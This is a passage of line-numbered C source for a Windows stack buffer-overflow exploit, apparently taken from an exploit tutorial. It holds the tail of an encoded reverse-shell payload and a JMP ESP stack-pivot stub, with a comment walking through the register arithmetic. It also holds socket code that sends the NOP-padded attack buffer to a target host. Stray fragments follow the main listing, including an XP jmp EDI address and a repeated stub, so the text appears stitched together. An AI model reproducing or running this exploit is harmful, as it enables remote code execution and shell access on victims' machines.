40 "\x4a\xf0\x6d\x99\x52\x7a\x87\xfa\xbd\xf3\xb7\xd2\x09\xaf\xdb\x49" 

41 "\x94\xf9\x86\x4c\x3c\xc1\xdf\x76\xdd\xe8\x0d\x49\x5a\x7a\xdd\x0e" 

42 "\xdd\xea\x0d\x49\x5e\xa2\xee\x9c\x18\xff\x6a\xed\x80\x78\x41\x93" 

43 "\xba\xf1\x87\x12\x56\xa6\xd0\x41\xdf\x14\x6e\x35\x56\xf1\x86\x82" 

44 "\x57\xf1\x86\xa4\x4f\xe9\x61\xb6\x4f\x81\x6f\xf7\x1f\x77\xcf\xb6" 
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45 "\x4c\x81\x41\xb6\xfb\xdf\x6f\xcb\x5f\x04\x2b\xd9\xbb\x0d\xbd\x45" 

46 "\x05\xc3\xd9\x21\x64\xf1\xdd\x9f\x1d\xd1\xd7\xed\x81\x78\x59\x9b" 

47 "\x95\x7c\xf3\x06\x3c\xf6\xdf\x43\x05\x0e\xb2\x9d\xa9\xa4\x82\x4b" 

48 "\xdf\xf5\x08\xf0\xa4\xda\xa1\x46\xa9\xc6\x79\x47\x66\xc0\x46\x42" 

49 "\x06\xa1\xd6\x52\x06\xb1\xd6\xed\x03\xdd\x0f\xd5\x67\x2a\xd5\x41" 

50 "\x3e\xf3\x86\x31\xb1\x78\x66\x78\x46\xa1\xd1\xed\x03\xd5\xd5\x45" 

51 "\xa9\xa4\xae\x41\x02\xa6\x79\x47\x76\x78\x41\x7a\x15\xbc\xc2\x12" 

52 "\xdf\x12\x01\xe8\x67\x31\x0b\x6e\x72\x5d\xec\x07\x0f\x02\x2d\x95" 

53 "\xac\x72\x6a\x46\x90\xb5\xa2\x02\x12\x97\x41\x56\x72\xcd\x87\x13" 

54 "\xdf\x8d\xa2\x5a\xdf\x8d\xa2\x5e\xdf\x8d\xa2\x42\xdb\xb5\xa2\x02" 

55 "\x02\xa1\xd7\x43\x07\xb0\xd7\x5b\x07\xa0\xd5\x43\xa9\x84\x86\x7a" 

56 "\x24\x0f\x35\x04\xa9\xa4\x82\xed\x86\x78\x60\xed\x23\xf1\xee\xbf" 

57 "\x8f\xf4\x48\xed\x03\xf5\x0f\xd1\x3c\x0e\x79\x24\xa9\x22\x79\x67" 

58 "\x56\x99\xf8\xca\xb4\x82\x79\x47\x52\xc0\x5d\x41\xa9\x21\x86"; 

59  

60    

61 //Declarations 

62 char* serverIP; 

63   

64 int tout = 20000; 

65 int rcount = 0; 

66   

67 unsigned short serverPort; 

68 char MessageToBeSent[BUFSIZE] = {""}; 

69   

70 WORD version ; 

71 version = MAKEWORD(1,1); 

72 WSADATA wsaData; 

73   

74 char jmpcode[]= 
"\xe7\xc9\xe7\x77\xFB\x7B\xAB\x71\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\
xE4"; 

75  

76 /*Breaking the JMP CODE array Down 

77 \xe7\xc9\xe7\x77  

78 Address for the error handler routine which returns to the line below 

79 \xFB\x7B\xAB\x71  JMP ESP 

80 Address for JMP ESP which points to the next line 

81 \x89\xE1  mov ecx, esp   

82 ESP is 0012E220 

83 \xFE\xCD  DEC CH 

84 Decrement 8 bit mapping (8-16) bit, Thus ECX would be 0012E120 

85 \xFE\xCD  DEC CH 

86 Decrement 8 bit mapping (8-16) bit, Thus ECX would be 0012E020 

87 \xFE\xCD  DEC CH 

88 Decrement 8 bit mapping (8-16) bit, Thus ECX would be 0012DF20 

89 \xFE\xCD  DEC CH 

90 Decrement 8 bit mapping (8-16) bit, Thus ECX would be 0012DE20 

91 \x89\xCC  mov esp, ecx  

92 Move the address stored in ECX to ESP. 

93 \xFF\xE4"; JMP ESP, which now points to 0x0012DE20  

94 0x0012DE20 is just before our shellcode 

95 */ 

96 //Functions 

97 if(argc != 3) 

98 { 

99  usage(argv[0]); 

100  return  CS_ERROR; 

101 } 
102 WSAStartup(version,&wsaData); 
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103 SOCKET clientSocket; 
104 clientSocket = socket(AF_INET, SOCK_STREAM, 0); 
105   

106 if(clientSocket == INVALID_SOCKET) 
107  {  

108   printf("Socket error!\r\n"); 

109   closesocket(clientSocket); 

110   WSACleanup();     

111   return CS_ERROR; 

112  } 

113   

114  // Name resolution and assigning to IP 

115  
116 struct hostent *srv_ptr; 

117 srv_ptr = gethostbyname( argv[1]); 
118  
119 if( srv_ptr == NULL ) 
120  { 

121   printf("Can't resolve name, %s.\n", argv[1]); 

122   WSACleanup(); 

123   return CS_ERROR; 

124  } 

125  
126  
127 struct sockaddr_in serverSocket; 
128  
129 serverIP = inet_ntoa (*(struct in_addr *)*srv_ptr->h_addr_list); 
130 serverPort = htons(u_short(atoi(argv[2]))); 
131  
132 serverSocket.sin_family = AF_INET; 
133 serverSocket.sin_addr.s_addr = inet_addr(serverIP); 
134 serverSocket.sin_port = serverPort; 
135  
136   

137 if (connect(clientSocket, (struct sockaddr *)&serverSocket, sizeof(serverSocket))) 
138 { 
139   printf("\nConnection error.\n"); 

140   return CS_ERROR; 

141 } 
142  
143 memset( MessageToBeSent, NOP, BUFSIZE); 
144  
145 memcpy( MessageToBeSent + 1200, reverseshell, sizeof(reverseshell)-1); 
146 memcpy( MessageToBeSent + 2000, jmpcode, sizeof(jmpcode)-1); 
147 // Sending 
148   

149 send(clientSocket, MessageToBeSent, strlen(MessageToBeSent), 0); 
150 printf("\nMessage Sent\n");  
151 char rstring[1024]=""; 
152  
153 int bytesRecv = SOCKET_ERROR; 
154 while( bytesRecv == SOCKET_ERROR )  
155 { 
156  bytesRecv = recv( clientSocket, rstring, sizeof(rstring), 0 ); 

157  if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )  

158   { 

159    printf( "\nConnection Closed.\n"); 

160    break; 

161   }   
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162 } 
163 closesocket(clientSocket); 
164 WSACleanup(); 
165 return CS_OK; 
166 } 
�
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86 // address for jmp EDI for windows xp (NO SP) 
87 //77EA855E jmp edi  
88 char jmpcode[]="\x5E\x85\xEA\x77"; 
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75 char jmpcode[]= 

"\xe7\xc9\xe7\x77\xFB\x7B\xAB\x71\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\
xE4"; 
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